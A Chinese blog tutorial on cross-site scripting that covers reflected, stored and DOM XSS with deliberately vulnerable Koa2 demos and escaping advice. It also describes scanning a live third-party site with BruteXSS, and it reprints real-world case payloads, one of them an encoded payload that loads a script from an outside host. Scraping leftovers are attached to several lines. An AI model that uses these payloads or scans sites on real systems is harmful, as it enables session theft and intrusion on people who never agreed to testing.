因爲以前太忙了,老是沒有時間把本地寫好的文章梳理整理後發出去。近期有時間了,才慢慢的整理後發出來(本地寫的大多數時候是爲了本身能看,哈哈哈)。javascript
文章首發於 Web 安全防護戰 - 淺談XSS。php
在進入 web 安全知識以前,建議對 HTTP 有所瞭解,能夠看HTTP 入門體檢,會對如下的內容有所幫助。html
XSS,跨站腳本攻擊。很常見的一種攻擊方式,主要是經過腳本注入的方式進行攻擊用戶。一般有:反射型 XSS 、存儲型 XSS和 DOM 型 XSS。——跨站腳本 - 維基百科前端
反射型 XSS,爲非持久型,能夠把它想象成反射弧。從發起帶有XSS腳本的請求,提交到服務端,服務端解析後響應隨之返回瀏覽器,最後瀏覽器將其響應解析並執行。簡單來講,通常都是由 URI 參數直接注入的攻擊。java
咱們用 Koa2 來模擬一下,如下是簡單的示例代碼:python
const Koa = require('koa');
const app = new Koa();
const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;
app.use(async ctx => {
ctx.body = template.replace('#{root}', `welcome: ` + ctx.query.xss);
});
app.listen(3000);
複製代碼
在下面咱們能夠看到,瀏覽器會報錯,緣由是現代瀏覽器都會有 XSS 攔截的保護機制(這並不表明由於瀏覽器幫咱們作了而咱們就能夠忽略 XSS 的知識)。react
所以咱們須要在服務器設置響應首部X-XSS-Protection
。因爲咱們是要模擬 XSS ,因此咱們先關閉 XSS 的保護 ctx.set('X-XSS-Protection', 0)
,而後就能夠看到如下結果,彈出 alert 彈窗。git
除了上面直接執行腳本以外,還能夠加載非同源的js文件,嵌入 iframe 頁面等等。github
存儲型 XSS,爲持久型。跟反射型 XSS 的惟一區別在因而否會保存在服務器,如數據庫,內存等。而當別人訪問該頁面時,就會受到 XSS 代碼的攻擊。危害相比反射型更加嚴重,也更隱匿。web
咱們再次用Koa2來模擬一下,如下是簡單的示例代碼:
const Koa = require('koa');
const app = new Koa();
const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;
// 模擬數據庫
const database = {
message: '',
}
app.use(async ctx => {
let url = ctx.request.url;
if (url.indexOf('/blog') === 0) {
database.message = ctx.query.message;
ctx.body = '發送成功~'
} else {
ctx.set('X-XSS-Protection', 0);
ctx.body = template.replace('#{root}', `來自某某人的消息:` + database.message);
}
});
app.listen(3000);
複製代碼
大概的步驟是模擬類博客那種,黑客利用漏洞向網站發送帶有 XSS 攻擊腳本到服務器,服務器沒有任何的安全校驗直接保存到數據庫 database
,當其餘用戶訪問帶有該 XSS 腳本的頁面時就被攻擊了。在這裏咱們發送一個帶用 iframe 劫持的請求到服務器,用戶收到響應時就會返回該 iframe 頁面。
DOM 型 XSS,爲非持久型,主要是利用前端的代碼邏輯漏洞,攻擊者植入惡意代碼,而後瀏覽器解析惡意代碼後執行形成的 XSS 攻擊。
如下是簡單的示例代碼:
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
DOM 型 XSS
</body>
<script type="text/javascript"> setTimeout('alert(1)'); setInterval('alert(2)'); eval('alert(3)'); </script>
</html>
複製代碼
X-XSS-Protection
,現代瀏覽器也同樣會爲咱們攔截大部分的 XSS 攻擊(反射型 XSS,並且只會攔截出如今 HTML 內容或屬性中,同時也並非全部瀏覽器都支持);// 展現轉義簡單處理
function escapeHtml (str) {
if (!str) return '';
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
複製代碼
JSON.stringify
來處理;[innerHTML]/v-html/dangerouslySetInnerHTML
來插入 html 元素;eval()/setTimeout()/setInterval()
,都是能夠直接將字符串當代碼段運行;js-xss
庫;整體來講,咱們能作的只是下降 XSS 攻擊的風險,XSS 的攻防戰一直存在也十分複雜。最後給一下XSS過濾繞過速查表,祝你們看得開心(溜了~
是否你會存在這樣的僥倖心理,看完上文後以爲只要進行轉義就好了,是的,其實只要進行轉義就好了,問題就是從XSS過濾繞過速查表看出,過濾規則表仍是蠻多的。咱們來簡單的實戰一下。
XSS 檢測工具備不少,有BruteXSS,XSSer,Beef-XSS等等,能夠說靠本身在本地掃描本身本地項目是否存在 XSS 漏洞了。咱們在這裏用BruteXSS來演示一下,僅作學習,切勿犯法。
BruteXSS 是一個根據暴力注入參數的跨站點腳本檢測工具,不只僅支持 GET 請求,還支持 POST 請求。它能從指定的詞庫中夾在多種 payload 進行注入,而且使用指定的 payload 和掃描檢查這些存在的 XSS 漏洞的參數。
咱們從 github 下載BruteXSS,之因此下載這個是由於它有 wordlist-huge.txt,也就是咱們所說的 payload 詞庫,它約有5000條 payload 腳本。接着咱們還須要安裝 Python 2.7,pip install colorama
和 pip install Mechanize
。
執行 python brutexss.py
,正常狀況下會出現如下界面:
接着,搓搓期待的小手,咱們能夠處處學(sa)習(ye)了。找了很久好不容易纔找到一個,因而咱們就開始行動,具體的操做在這裏就不講解了,由於一步一步看操做,很簡單。咱們找的是使用 GET
方法,這類漏洞比較好找,只要對方有輸入框便可(如今的瀏覽器以及網站多多少少都會防護部分XSS,因此不太好找)。
能夠看到參數 q
有一個遺漏的注入點,因而咱們就來試試看,是否真的成效。
(,,#゚Д゚),沒想到竟然成了,我試了好多幾乎都被後臺攔截了,這個竟然成了(,,#゚Д゚)。能夠看出經過 payload 給出的攻擊腳本能順利的彈出 1
這個框。這個就是典型的反射型 XSS 攻擊。
除此以外,咱們還能夠利用該工具在一些破破爛爛的邊緣網站發帖來實現存儲型 XSS攻擊。可是這個工具也只是輔助工具,並不表明經過該工具掃描不出的就無漏洞,更多攻擊者靠的但是技術以及經驗。
烏雲不在的第三個年頭,想它。 ———— 魯迅
不只僅是破破爛爛的邊緣小網站,也有大公司也存在過 XSS 攻擊的案例。
iframe
的 srcdoc
沒作處理,所以能夠利用這個弱點來進行注入 payload,而後分享給別人,payload 以下;iframe
的 srcdoc
增強過濾就好了;<#<iframe class="zhouzhou" src='javAscript:confirm(1111)'/1111111wooyun/)"');' href=`vBscript:msgbox('"');` srcdoc='vBscr<script>alert(document.domain);</script>ipt:msgbox('"');' alt=`
` yuyangzhou="<iframe" onclick=eval('<script>alert(/martinzhou/)</script>'); style="font-family:e/* &#*/x/*"*/p/*>*/r/*onkeydown=*/ession(confirm(5));"iframe>zhou">5</iframe>
``<div class=" \\'" src= javAscript:confirm('1"'); href=`data:q;base64,PHNjcmlwdD5hbGVydCgnQHFhYicpPC9zY3JpcHQ+` srcdoc= javAscript:confirm('1"'); alt="zhou" yuyangzhou=``<div/onmouseover=prompt(1)` onload=alert('1"'); style= font-family:e/*;/*/x/*"*/p/*"*/r/*onclick=*/ession(confirm(0));""`<div/onmouseover=prompt(1) >0</div>
複製代碼
http://book.weibo.com/newcms/i/weibo_send.php
;// 也就是說這個接口會校驗`error.referer`
{"code":-1,"message":"\u8bf7\u6c42\u6e90\u4e0d\u5141\u8bb8[http:\/\/error.referer]"}
複製代碼
error.referer
返回來後頁面的響應報文爲Content-Type: text/html; charset=utf-8
,既然錯誤後的Content-Type
爲text/html
,那麼咱們就能夠在此作文章;// e=document.createElement("script");e.src="http://a.xxx.xyz/book.weibo.js",document.documentElement.appendChild(e)
// 將上面的轉換爲 char code 的形式
// 完整 URL 以下
http://a.xxx.xyz/?a=<img src=1 onerror=eval(String.fromCharCode(101,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,101,46,115,114,99,61,34,104,116,116,112,58,47,47,97,46,122,104,99,104,98,105,110,46,120,121,122,47,98,111,111,107,46,119,101,105,98,111,46,106,115,34,44,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,101,41))>
複製代碼
http://book.weibo.com/newcms/i/weibo_send.php
,這時候的 error.referer
就會被咱們植入 XSS 攻擊腳本了。能夠看到,大多數漏洞都是處於繞來繞去最後發現漏洞的地方沒有進行過濾轉義處理。正所謂 攻擊千萬條,安全第一條。過濾不規範,開發兩行淚。